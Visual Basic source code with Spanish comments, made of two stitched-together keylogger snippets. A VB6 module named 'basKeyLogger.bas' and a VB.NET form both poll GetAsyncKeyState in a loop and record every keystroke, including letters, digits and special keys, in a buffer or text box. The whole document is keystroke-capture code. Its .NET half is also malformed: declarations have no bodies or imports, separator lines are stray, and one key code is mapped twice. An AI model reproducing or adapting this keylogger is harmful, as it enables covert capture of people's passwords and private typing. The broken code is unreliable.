'
'Módulo estándar basKeyLogger.bas
'
Option Explicit

Public bLogEnabled As Boolean

Function GetActiveKey() As Integer
         Static bStarted As Boolean
         Dim i%

  If Not bStarted Then
    'Inicializa el estado de las teclas llamando a
    'la función GetAsyncKeyState.
    '
    For i = 1 To 256
      Call GetAsyncKeyState(i)
    Next

    bStarted = True
  End If

  For i = 1 To 256
    'Obtiene la tecla pulsada actualmente.
    '
    If GetAsyncKeyState(i) Then
      GetActiveKey = i
      
      Exit For
    End If
  Next
End Function

Sub StopLog()
  bLogEnabled = False
End Sub

Sub LogKeys()
        Dim snTimer!
        Dim iActiveKey%
        Dim sChar$, sData$

  bLogEnabled = True
  
  Do While bLogEnabled
    snTimer = Timer
    
    Do While (Timer - snTimer) < 0.125
      'Espera 125 milisegundos hasta
      'la próxima pulsación.
    Loop
    
    iActiveKey = GetActiveKey
    
    Select Case iActiveKey
      Case vbKey0 To vbKey9, 32 To 47, vbKeyA To vbKeyZ
        sChar = Chr$(iActiveKey)
      
        sData = sData & sChar
      
      Case vbKeyReturn
        'Imprime lo que tiene en el buffer.
        '
        Debug.Print sData
        
        sData = vbNullString
      Case Else
        'Verifica otras teclas.
    End Select
  Loop
End Sub

     

    Imports System.Runtime.InteropServices
    -----------------------------------------------------------------
    Public Class Form1
     
    Public Shared Function GetAsyncKeyState(ByVal vKey As System.Windows.Forms.Keys) As Short
     Public Shared Function GetKeyState (ByVal nVirtKey As System.Windows.Forms.Keys) As Short
       Private Const VK_SHIFT = &H10, VK_CAPITAL = &H14
       Private ChangeChr(255) As String
    ---------------------------------------------------------------------
       Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
           'Letras
           Dim i As Integer
           For i = Asc("A") To Asc("Z")
               If GetAsyncKeyState(i) = -32767 Then
                   If GetAsyncKeyState(VK_SHIFT) > 0 Then
                       If GetKeyState(VK_CAPITAL) > 0 Then
                           RichTextBox1.Text = RichTextBox1.Text & LCase(Chr(i))
                           Exit Sub
                       Else
                           RichTextBox1.Text = RichTextBox1.Text & UCase(Chr(i))
                           Exit Sub
                       End If
                   Else
                       If GetKeyState(VK_CAPITAL) > 0 Then
                           RichTextBox1.Text = RichTextBox1.Text & UCase(Chr(i))
                           Exit Sub
                       Else
                           RichTextBox1.Text = RichTextBox1.Text & LCase(Chr(i))
                           Exit Sub
                       End If
                   End If
               End If
           Next
           'Numeros
           For i = 48 To 57
               If GetAsyncKeyState(i) = -32767 Then
                   If GetAsyncKeyState(VK_SHIFT) < 0 Then
                       RichTextBox1.Text = RichTextBox1.Text & ChangeChr(i)
                       Exit Sub
                   Else
                       RichTextBox1.Text = RichTextBox1.Text & Chr(i)
                       Exit Sub
                   End If
               End If
           Next
           'Espacio
           If GetAsyncKeyState(32) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text + " "
           End If
           'Enter
           If GetAsyncKeyState(13) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & vbCrLf & "[Enter] "
           End If
           'Esc
           If GetAsyncKeyState(27) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Esc] "
           End If
           'Izquierda
           If GetAsyncKeyState(37) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Izq] "
           End If
           'Arriba
           If GetAsyncKeyState(38) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Arriba] "
           End If
           'Derecha
           If GetAsyncKeyState(39) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Der] "
           End If
           'Abajo
           If GetAsyncKeyState(40) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Abajo] "
           End If
           'Print Screen
           If GetAsyncKeyState(44) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Print Screen] "
           End If
           'Re Pag
           If GetAsyncKeyState(33) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Re Pag] "
           End If
           'Av Pag
           If GetAsyncKeyState(34) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Av Pag] "
           End If
           'Fin Pag
           If GetAsyncKeyState(35) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Fin Pag] "
           End If
           'Inicio Pag
           If GetAsyncKeyState(36) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Inicio Pag] "
           End If
           'Supr
           If GetAsyncKeyState(46) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Supr] "
           End If
           'Insert
           If GetAsyncKeyState(45) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Insert] "
           End If
           'F1
           If GetAsyncKeyState(112) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [F1] "
           End If
           'F2
           If GetAsyncKeyState(113) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [F2] "
           End If
           'F3
           If GetAsyncKeyState(114) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [F3] "
           End If
           'F4
           If GetAsyncKeyState(115) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [F4] "
           End If
           'F5
           If GetAsyncKeyState(116) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [F5] "
           End If
           'F6
           If GetAsyncKeyState(117) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [F6] "
           End If
           'F7
           If GetAsyncKeyState(118) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [F7] "
           End If
           'F8
           If GetAsyncKeyState(119) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [F8] "
           End If
           'F9
           If GetAsyncKeyState(120) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [F9] "
           End If
           'F10
           If GetAsyncKeyState(121) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [F10] "
           End If
           'F11
           If GetAsyncKeyState(122) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [F11] "
           End If
           'F12
           If GetAsyncKeyState(123) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [F12] "
           End If
           'Alt
           If GetAsyncKeyState(164) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Alt] "
           End If
           'Num Lock
           If GetAsyncKeyState(144) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Num Lock] "
           End If
           'Bloq mayús
           If GetAsyncKeyState(20) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Bloq Mayús] "
           End If
           'ñ
           If GetAsyncKeyState(164) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & "ñ"
           End If
           'Ñ
           If GetAsyncKeyState(240) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & "Ñ"
           End If
           '"."
           If GetAsyncKeyState(190) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & "."
           End If
           '","
           If GetAsyncKeyState(188) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & ","
           End If
           '"Alt Gr"
           If GetAsyncKeyState(165) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Alt Gr] "
           End If
           '"Del"
           If GetAsyncKeyState(8) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Del] "
           End If
           '"Tab"
           If GetAsyncKeyState(9) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Tab] "
           End If
       End Sub